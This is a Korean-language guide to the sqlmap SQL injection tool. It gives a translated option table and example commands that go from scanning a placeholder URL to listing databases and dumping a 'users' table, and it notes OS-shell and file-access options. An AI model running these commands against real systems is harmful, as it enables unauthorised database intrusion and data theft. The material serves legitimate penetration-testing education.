SQLMAP 이란? [1]
- SQL Injection 결함을 감지하고, 악용하기 위해 Python 으로 작성된 오픈 소스 침투 테스트 도구
- mysql, postgresql, oracle, microsoft sql server 등을 포함한 모든 최신 데이터베이스에서 작동
- DB 취약 여부 확인부터 DB, 테이블, 컬럼, 데이터 탈취까지의 SQLI 공격 기술을 자동화한 Tool
- 다음과 같은 일반적인 SQL Injection 기술을 자동화
1) Error Based
2) Time Delay
3) Stacked Queries
4) Boolean Based
5) Union Based
SQLMAP 사용법 [2]
Usage: python sqlmap.py [options] | ||
Options: | ||
-h, –help | 기본 도움말 메시지 표시 및 종료 | |
-hh | 고급 도움말 메시지 표시 및 종료 | |
–version | 프로그램의 버전 번호를 표시하고 종료 | |
-v VERBOSE | 상세 수준: 0-6 (기본값 1) | |
Target: 정의하려면 이러한 옵션 중 하나 이상이 제공되어야 합니다. | ||
-u URL, –url=URL | 대상 URL (예: “http://www.site.com/vuln.php?id=1”) | |
-d DIRECT | 직접 데이터베이스 연결을 위한 연결 문자열 | |
-l LOGFILE | Burp 또는 WebScarab 프록시 로그 파일에서 대상 구문 분석 | |
-m BULKFILE | 텍스트 파일에 제공된 여러 대상 스캔 | |
-r REQUESTFILE | 파일에서 HTTP 요청 로드 | |
-g GOOGLEDORK | Google dork 결과를 대상 URL로 처리 | |
-c CONFIGFILE | 구성 INI 파일에서 옵션 로드 | |
Request: 이 옵션을 사용하여 대상 URL에 연결하는 방법을 지정할 수 있습니다. | ||
-A AGENT, –user.. | HTTP 사용자 에이전트 헤더 값 | |
-H HEADER, –hea.. | 추가 헤더 (예: “X-Forwarded-For: 127.0.0.1”) | |
–method=METHOD | 주어진 HTTP 메소드의 강제 사용 (예: PUT) | |
–data=DATA | POST를 통해 보낼 데이터 문자열 (예: “id=1”) | |
–param-del=PARA.. | 매개변수 값 분할에 사용되는 문자 (예: &) | |
–cookie=COOKIE | HTTP 쿠키 헤더 값 (예: “PHPSESSID=a8d127e..”) | |
–cookie-del=COO.. | 쿠키 값 분할에 사용되는 문자 (예: ; ) | |
–live-cookies=L.. | 최신 값을 로드하는 데 사용되는 라이브 쿠키 파일 | |
–load-cookies=L.. | Netscape/wget 형식의 쿠키가 포함된 파일 | |
–drop-set-cookie | 응답에서 Set-Cookie 헤더 무시 | |
–mobile | HTTP User-Agent 헤더를 통해 스마트폰 모방 | |
–random-agent | 임의로 선택된 HTTP User-Agent 헤더 값 사용 | |
–host=HOST | HTTP 호스트 헤더 값 | |
–referer=REFERER | HTTP 참조 헤더 값 | |
–headers=HEADERS | 추가 헤더 (예: “Accept-Language: fr\nETag: 123”) | |
–auth-type=AUTH.. | HTTP 인증 유형 (기본, 다이제스트, NTLM 또는 PKI) | |
–auth-cred=AUTH.. | HTTP 인증 자격 증명 (이름:비밀번호) | |
–auth-file=AUTH.. | HTTP 인증 PEM 인증서/개인 키 파일 | |
–ignore-code=IG.. | (문제가 있는) HTTP 오류 코드 무시 (예: 401) | |
–ignore-proxy | 시스템 기본 프록시 설정 무시 | |
–ignore-redirects | 리다이렉션 시도 무시 | |
–ignore-timeouts | 연결 시간 초과 무시 | |
–proxy=PROXY | 프록시를 사용하여 대상 URL에 연결 | |
–proxy-cred=PRO.. | 프록시 인증 자격 증명 (이름:비밀번호) | |
–proxy-file=PRO.. | 파일에서 프록시 목록 로드 | |
–proxy-freq=PRO.. | 주어진 목록에서 프록시 변경 간의 요청 | |
–tor | Tor 익명 네트워크 사용 | |
–tor-port=TORPORT | 기본값 이외의 Tor 프록시 포트 설정 | |
–tor-type=TORTYPE | Tor 프록시 유형 설정 (HTTP, SOCKS4 또는 SOCKS5 (기본값)) | |
–check-tor | Tor가 제대로 사용되는지 확인하십시오. | |
–delay=DELAY | 각 HTTP 요청 사이의 지연 시간 (초) | |
–timeout=TIMEOUT | 연결 시간 초과 전 대기 시간 (초) (기본값 30) | |
–retries=RETRIES | 연결 시간 초과 시 재시도 (기본값 3) | |
–randomize=RPARAM | 주어진 매개변수의 값을 무작위로 변경 | |
–safe-url=SAFEURL | 테스트 중 자주 방문하는 URL 주소 | |
–safe-post=SAFE.. | 안전한 URL로 보낼 POST 데이터 | |
–safe-req=SAFER.. | 파일에서 안전한 HTTP 요청 로드 | |
–safe-freq=SAFE.. | 안전한 URL 방문 사이의 정기적인 요청 | |
–skip-urlencode | 페이로드 데이터의 URL 인코딩 건너뛰기 | |
–csrf-token=CSR.. | 안티 CSRF 토큰을 보유하는 데 사용되는 매개변수 | |
–csrf-url=CSRFURL | 안티 CSRF 토큰 추출을 위해 방문할 URL 주소 | |
–csrf-method=CS.. | 안티 CSRF 토큰 페이지 방문 시 사용할 HTTP 메소드 | |
–csrf-retries=C.. | 안티 CSRF 토큰 검색 재시도 (기본값 0) | |
–force-ssl | SSL/HTTPS 강제 사용 | |
–chunked | HTTP 청크 전송 인코딩 (POST) 요청 사용 | |
–hpp | HTTP 매개변수 오염 방법 사용 | |
–eval=EVALCODE | 요청 전에 제공된 Python 코드를 평가합니다 (예: “import hashlib;id2=hashlib.md5 (id).hexdigest ()”). | |
Optimization: 이 옵션을 사용하여 sqlmap의 성능을 최적화할 수 있습니다. | ||
-o | 모든 최적화 스위치 켜기 | |
–predict-output | 일반적인 쿼리 출력 예측 | |
–keep-alive | 영구 HTTP 연결 사용 | |
–null-connection | 실제 HTTP 응답 본문 없이 페이지 길이 검색 | |
–threads=THREADS | 최대 동시 HTTP 요청 수 (기본값 1) | |
Injection: 이 옵션을 사용하여 테스트할 매개변수를 지정하고 맞춤형 주입 페이로드 및 선택적 변조 스크립트를 제공할 수 있습니다. | ||
-p TESTPARAMETER | 테스트 가능한 매개변수 | |
–skip=SKIP | 주어진 매개변수에 대한 테스트 건너뛰기 | |
–skip-static | 동적으로 보이지 않는 테스트 매개변수 건너뛰기 | |
–param-exclude=.. | 테스트에서 매개변수를 제외하는 Regexp (예: “ses”) | |
–param-filter=P.. | 장소별로 테스트 가능한 매개변수 선택 (예: “POST”) | |
–dbms=DBMS | 백엔드 DBMS를 제공된 값으로 강제 실행 | |
–dbms-cred=DBMS.. | DBMS 인증 자격 증명 (사용자:비밀번호) | |
–os=OS | 백엔드 DBMS 운영 체제를 제공된 값으로 강제 실행 | |
–invalid-bignum | 값 무효화에 큰 숫자 사용 | |
–invalid-logical | 값 무효화에 논리 연산 사용 | |
–invalid-string | 값 무효화에 임의의 문자열 사용 | |
–no-cast | 페이로드 캐스팅 메커니즘 끄기 | |
–no-escape | 문자열 이스케이프 메커니즘 끄기 | |
–prefix=PREFIX | 주입 페이로드 접두사 문자열 | |
–suffix=SUFFIX | 주입 페이로드 접미사 문자열 | |
–tamper=TAMPER | 주입 데이터 변조를 위해 주어진 스크립트 사용 | |
Detection: 이 옵션을 사용하여 탐지 단계를 사용자 지정할 수 있습니다. | ||
–level=LEVEL | 수행할 테스트 수준 (1-5, 기본값 1) | |
–risk=RISK | 수행할 테스트의 위험 (1-3, 기본값 1) | |
–string=STRING | 쿼리가 True로 평가될 때 일치시킬 문자열 | |
–not-string=NOT.. | 쿼리가 False로 평가될 때 일치시킬 문자열 | |
–regexp=REGEXP | 쿼리가 True로 평가될 때 일치하는 정규식 | |
–code=CODE | 쿼리가 True로 평가될 때 일치하는 HTTP 코드 | |
–smart | 긍정적인 휴리스틱이 있는 경우에만 철저한 테스트를 수행합니다. | |
–text-only | 텍스트 콘텐츠만을 기준으로 페이지 비교 | |
–titles | 제목만 기준으로 페이지 비교 | |
Techniques: 이 옵션은 특정 SQL 주입 기술의 테스트를 조정하는 데 사용할 수 있습니다. | ||
–technique=TECH.. | 사용할 SQL 주입 기술 (기본값 “BEUSTQ”) | |
–time-sec=TIMESEC | DBMS 응답 지연 시간 (초) (기본값 5) | |
–union-cols=UCOLS | UNION 쿼리 SQL 주입을 테스트할 열 범위 | |
–union-char=UCHAR | 열 수를 무차별 대입하는 데 사용할 문자 | |
–union-from=UFROM | UNION 쿼리 SQL 주입의 FROM 부분에서 사용할 테이블 | |
–dns-domain=DNS.. | DNS 유출 공격에 사용되는 도메인 이름 | |
–second-url=SEC.. | 2차 응답을 검색한 결과 페이지 URL | |
–second-req=SEC.. | 파일에서 2차 HTTP 요청 로드 | |
Fingerprint: | ||
-f, –fingerprint | Perform an extensive DBMS version fingerprint | |
Enumeration: 이 옵션은 테이블에 포함된 백엔드 데이터베이스 관리 시스템 정보, 구조 및 데이터를 열거하는 데 사용할 수 있습니다. | ||
-a, –all | 모두 검색 | |
-b, –banner | DBMS 배너 검색 | |
–current-user | DBMS 현재 사용자 검색 | |
–current-db | DBMS 현재 데이터베이스 검색 | |
–hostname | DBMS 서버 호스트 이름 검색 | |
–is-dba | DBMS 현재 사용자가 DBA인지 감지 | |
–users | DBMS 사용자 열거 | |
–passwords | DBMS 사용자 비밀번호 해시 열거 | |
–privileges | DBMS 사용자 권한 열거 | |
–roles | DBMS 사용자 역할 열거 | |
–dbs | DBMS 데이터베이스 열거 | |
–tables | DBMS 데이터베이스 테이블 열거 | |
–columns | DBMS 데이터베이스 테이블 열 열거 | |
–schema | DBMS 스키마 열거 | |
–count | 테이블에 대한 항목 수 검색 | |
–dump | DBMS 데이터베이스 테이블 항목 덤프 | |
–dump-all | 모든 DBMS 데이터베이스 테이블 항목 덤프 | |
–search | 열, 테이블 및/또는 데이터베이스 이름 검색 | |
–comments | 열거 중 DBMS 주석 확인 | |
–statements | DBMS에서 실행 중인 SQL 문 검색 | |
-D DB | 열거할 DBMS 데이터베이스 | |
-T TBL | 열거할 DBMS 데이터베이스 테이블 | |
-C COL | 열거할 DBMS 데이터베이스 테이블 열 | |
-X EXCLUDE | 열거하지 않을 DBMS 데이터베이스 식별자 | |
-U USER | 열거할 DBMS 사용자 | |
–exclude-sysdbs | 테이블을 열거할 때 DBMS 시스템 데이터베이스 제외 | |
–pivot-column=P.. | 피벗 열 이름 | |
–where=DUMPWHERE | 테이블 덤핑 중 WHERE 조건 사용 | |
–start=LIMITSTART | 검색할 첫 번째 덤프 테이블 항목 | |
–stop=LIMITSTOP | 검색할 마지막 덤프 테이블 항목 | |
–first=FIRSTCHAR | 검색할 첫 번째 쿼리 출력 단어 문자 | |
–last=LASTCHAR | 검색할 마지막 쿼리 출력 단어 문자 | |
–sql-query=SQLQ.. | 실행할 SQL 문 | |
–sql-shell | 대화형 SQL 셸 프롬프트 | |
–sql-file=SQLFILE | 주어진 파일에서 SQL 문 실행 | |
Brute force: 이 옵션은 무차별 대입 검사를 실행하는 데 사용할 수 있습니다. | ||
–common-tables | 공통 테이블의 존재 확인 | |
–common-columns | 공통 컬럼 존재 확인 | |
–common-files | 공통 파일 존재 확인 | |
User-defined function injection: 이 옵션을 사용하여 사용자 정의 사용자 정의 함수를 생성할 수 있습니다. | ||
–udf-inject | 사용자 정의 사용자 정의 함수 주입 | |
–shared-lib=SHLIB | 공유 라이브러리의 로컬 경로 | |
File system access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 기본 파일 시스템에 액세스할 수 있습니다. | ||
–file-read=FILE.. | 백엔드 DBMS 파일 시스템에서 파일 읽기 | |
–file-write=FIL.. | 백엔드 DBMS 파일 시스템에 로컬 파일 쓰기 | |
–file-dest=FILE.. | 쓸 백엔드 DBMS 절대 파일 경로 | |
Operating system access: 이 옵션은 백엔드 데이터베이스 관리 시스템 기반 운영 체제에 액세스하는 데 사용할 수 있습니다. | ||
–os-cmd=OSCMD | 운영 체제 명령 실행 | |
–os-shell | 대화형 운영 체제 셸 프롬프트 | |
–os-pwn | OOB 셸, Meterpreter 또는 VNC에 대한 프롬프트 | |
–os-smbrelay | OOB 셸, Meterpreter 또는 VNC에 대한 원 클릭 프롬프트 | |
–os-bof | 저장 프로시저 버퍼 오버플로 악용 | |
–priv-esc | 데이터베이스 프로세스 사용자 권한 에스컬레이션 | |
–msf-path=MSFPATH | Metasploit Framework가 설치된 로컬 경로 | |
–tmp-path=TMPPATH | 임시 파일 디렉토리의 원격 절대 경로 | |
Windows registry access: 이 옵션을 사용하여 백엔드 데이터베이스 관리 시스템 Windows 레지스트리에 액세스할 수 있습니다. | ||
–reg-read | Windows 레지스트리 키 값 읽기 | |
–reg-add | Windows 레지스트리 키 값 데이터 쓰기 | |
–reg-del | Windows 레지스트리 키 값 삭제 | |
–reg-key=REGKEY | Windows 레지스트리 키 | |
–reg-value=REGVAL | Windows 레지스트리 키 값 | |
–reg-data=REGDATA | Windows 레지스트리 키 값 데이터 | |
–reg-type=REGTYPE | Windows 레지스트리 키 값 유형 | |
General: 이 옵션을 사용하여 일부 일반 작업 매개변수를 설정할 수 있습니다. | ||
-s SESSIONFILE | 저장된 (.sqlite) 파일에서 세션 로드 | |
-t TRAFFICFILE | 모든 HTTP 트래픽을 텍스트 파일에 기록 | |
–answers=ANSWERS | 사전 정의된 답변 설정 (예: “quit=N,follow=N”) | |
–base64=BASE64P.. | Base64로 인코딩된 데이터를 포함하는 매개변수 | |
–base64-safe | URL 및 파일 이름에 안전한 Base64 알파벳 사용 (RFC 4648) | |
–batch | 사용자 입력을 요청하지 말고 기본 동작을 사용하십시오. | |
–binary-fields=.. | 이진 값이 있는 결과 필드 (예: “digest”) | |
–check-internet | 대상을 평가하기 전에 인터넷 연결을 확인하십시오. | |
–cleanup | sqlmap 특정 UDF 및 테이블에서 DBMS 정리 | |
–crawl=CRAWLDEPTH | 대상 URL에서 시작하는 웹사이트 크롤링 | |
–crawl-exclude=.. | 크롤링에서 페이지를 제외하는 정규식 (예: “로그아웃”) | |
–csv-del=CSVDEL | CSV 출력에 사용되는 구분 문자 (기본값 “,”) | |
–charset=CHARSET | 블라인드 SQL 주입 문자 집합 (예: “0123456789abcdef”) | |
–dump-format=DU.. | 덤프된 데이터 형식 (CSV (기본값), HTML 또는 SQLITE) | |
–encoding=ENCOD.. | 데이터 검색에 사용되는 문자 인코딩 (예: GBK) | |
–eta | 각 출력에 대한 예상 도착 시간 표시 | |
–flush-session | 현재 대상에 대한 플러시 세션 파일 | |
–forms | 대상 URL에서 양식 구문 분석 및 테스트 | |
–fresh-queries | 세션 파일에 저장된 쿼리 결과 무시 | |
–gpage=GOOGLEPAGE | 지정된 페이지 번호의 Google dork 결과 사용 | |
–har=HARFILE | 모든 HTTP 트래픽을 HAR 파일에 기록 | |
–hex | 데이터 검색 중 16진수 변환 사용 | |
–output-dir=OUT.. | 사용자 정의 출력 디렉토리 경로 | |
–parse-errors | 응답에서 DBMS 오류 메시지 구문 분석 및 표시 | |
–preprocess=PRE.. | 사전 처리 (요청)에 지정된 스크립트 사용 | |
–postprocess=PO.. | 후처리 (응답)를 위해 주어진 스크립트 사용 | |
–repair | 알 수 없는 문자 마커 (?)가 있는 항목을 덤프합니다. | |
–save=SAVECONFIG | 구성 INI 파일에 옵션 저장 | |
–scope=SCOPE | 대상 필터링을 위한 정규식 | |
–skip-heuristics | SQLi/XSS 취약점의 발견적 탐지 건너뛰기 | |
–skip-waf | WAF/IPS 보호에 대한 휴리스틱 감지 건너뛰기 | |
–table-prefix=T.. | 임시 테이블에 사용되는 접두사 (기본값: “sqlmap”) | |
–test-filter=TE.. | 페이로드 및/또는 제목으로 테스트 선택 (예: ROW) | |
–test-skip=TEST.. | 페이로드 및/또는 제목별 테스트 건너뛰기 (예: BENCHMARK) | |
–web-root=WEBROOT | 웹 서버 문서 루트 디렉토리 (예: “/var/www”) | |
Miscellaneous: 이 옵션은 다른 범주에 속하지 않습니다. | ||
-z MNEMONICS | 짧은 연상 기호 사용 (예: “flu,bat,ban,tec=EU”) | |
–alert=ALERT | SQL 주입이 발견되면 호스트 OS 명령 실행 | |
–beep | 질문 및/또는 SQLi/XSS/FI가 발견될 때 경고음 | |
–dependencies | 누락된 (선택 사항) sqlmap 종속성 확인 | |
–disable-coloring | 콘솔 출력 색상 비활성화 | |
–list-tampers | 사용 가능한 변조 스크립트 목록 표시 | |
–offline | 오프라인 모드에서 작업 (세션 데이터만 사용) | |
–purge | sqlmap 데이터 디렉토리에서 모든 콘텐츠를 안전하게 제거 | |
–results-file=R.. | 다중 대상 모드에서 CSV 결과 파일의 위치 | |
–shell | 대화형 sqlmap 셸 프롬프트 | |
–tmp-dir=TMPDIR | 임시 파일을 저장하기 위한 로컬 디렉토리 | |
–unstable | 불안정한 연결에 대한 옵션 조정 | |
–update | sqlmap 업데이트 | |
–wizard | 초보자를 위한 간단한 마법사 인터페이스 |
SQLMAP 예제 [3]
- 스캐닝
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” - DB 탐색
$ python sqlmap.py -u “http://www.sitemap.com/section.php?id=51” –dbs - 특정 데이터베이스에서 테이블 찾기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –tables -D safecosmetics - 테이블의 컬럼 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –columns -D safecosmetics -T users - 테이블에서 데이터 가져오기
$ python sqlmap.py -u “http://www.site.com/section.php?id=51” –dump -D safecosmetics -T users
[SQL Injection & 데이터 유출] 탐지 from PLURA V5
참고
[1] http://www.cs.toronto.edu/~arnold/427/15s/csc427/tools/sqlmap/index.html
[2] https://github.com/sqlmapproject/sqlmap/wiki/Usage
[3] https://www.binarytides.com/sqlmap-hacking-tutorial